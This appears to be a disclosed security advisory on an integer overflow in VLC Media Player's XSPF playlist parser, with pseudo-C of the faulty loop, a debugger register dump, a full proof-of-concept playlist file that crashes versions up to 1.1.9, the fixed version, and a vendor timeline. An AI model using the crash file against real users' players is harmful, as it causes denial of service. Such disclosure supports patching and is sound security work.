|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130  |  TITLE   VLC Media Player XSPF Local File Integer overflow in XSPF playlist parser AFFECTED VERSIONS  VLC media player 1.1.9 down to 0.8.5 VENDOR  VideoLAN Organisation CLASS  Denial of Service (DoS) RESOURCES  http://www.videolan.org/security/sa1104.html PRODUCT DESCRIPTION  VLC is a free and open source cross-platform multimedia player and  framework that plays most multimedia files as well as DVD, Audio CD,  VCD, and various streaming protocols. TECHNICAL DETAILS  XSPF file is the XML format for sharing playlists.  A sample of the XSPF document is as follows:  <?xml version="1.0" encoding="UTF-8"?>  <playlist version="1" xmlns="http://xspf.org/ns/0/">  <trackList>  <track><location>file:///crash/tecr0c.mp3</location></track>  </trackList>  </playlist>  The VLC XSPF file uses a tag <vlc:id></vlc:id> in the component Demuxers: Playlist   which accepts decimal values for the vlc:id. When entering a large value that is   beyond the memory segment that is allocated for program data the program crashes.  Setting <vlc:id> value to 1073741823,e.g. <vlc:id>1073741823</vlc:id>   will results in a MEMORY ACCESS VIOLATION and the application crash.  The vulnerable code in module libplaylist_plugin.dll looks like (pseudo C code example): do { __counter += 8; mem->dword0 = 0; mem->dword4 = 0; mem->dword8 = 0; mem->dwordC = 0; mem->dword10 = 0; mem->dword14 = 0; mem->dword18 = 0; mem->dword1C = 0; ++mem; <-- violation happens here when mem value is greater then memory segment } while ( __counter <= __controlled_value_edx ); } };  Once we hit an address that does not exist we will result in a Denial of Service condition.  EAX 01A97FE8  ECX 00003320  EDX 3FFFFFFF <--------------- Value we control  EBX 01A972F8  ESP 02B6FBA8  EBP 02B6FCC0  ESI 00000007  EDI 01A8B388  EIP 7024FA5E libplayl.7024FA5E  C 0ES 0023 32bit 0(FFFFFFFF)  P 0CS 001B 32bit 0(FFFFFFFF)  A 1SS 0023 32bit 0(FFFFFFFF)  Z 0DS 0023 32bit 0(FFFFFFFF)  S 0FS 003B 32bit 7FFAF000(FFF)  T 0GS 0000 NULL  D 0  O 0LastErr ERROR_SUCCESS (00000000)  EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)  ST0 empty +UNORM 6900 00AECAB0 00ADEB10  ST1 empty +UNORM 000B 003F0428 694C2808  ST2 empty -UNORM EB10 00AECAB0 00ADEB10  ST3 empty 0.9999999999999573674  ST4 empty 0.5000000000000000000  ST5 empty 0.9999999999999573674  ST6 empty 0.0  ST7 empty 559.00000000000000000  3 2 1 0E S P U O Z D I  FST 0020Cond 0 0 0 0Err 0 0 1 0 0 0 0 0(GT)  FCW 027FPrec NEAR,53Mask1 1 1 1 1 1  End of block:  01A97FE800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00................  01A97FF800 00 00 00 00 00 00 00........ PROOF OF CONCEPT (PoC)  <?xml version="1.0" encoding="UTF-8"?>  <playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">  <title>Playlist</title>  <trackList>  <track>  <location>file:///C:/Users/tecr0c/Desktop/tecr0c-win.mp3</location>  <duration>992</duration>  <extension application="http://www.videolan.org/vlc/playlist/0">  <vlc:id>1073741823</vlc:id>  </extension>  </track>  </trackList>  <extension application="http://www.videolan.org/vlc/playlist/0">  <vlc:item tid="0" />  </extension>  </playlist> FIX  VLC Media Player 1.1.10 TIMELINE  03062011 Contacted vendor with PoC  05062011 Bug fixed by vendor  08062011 Patch release to public in 1.1.10  |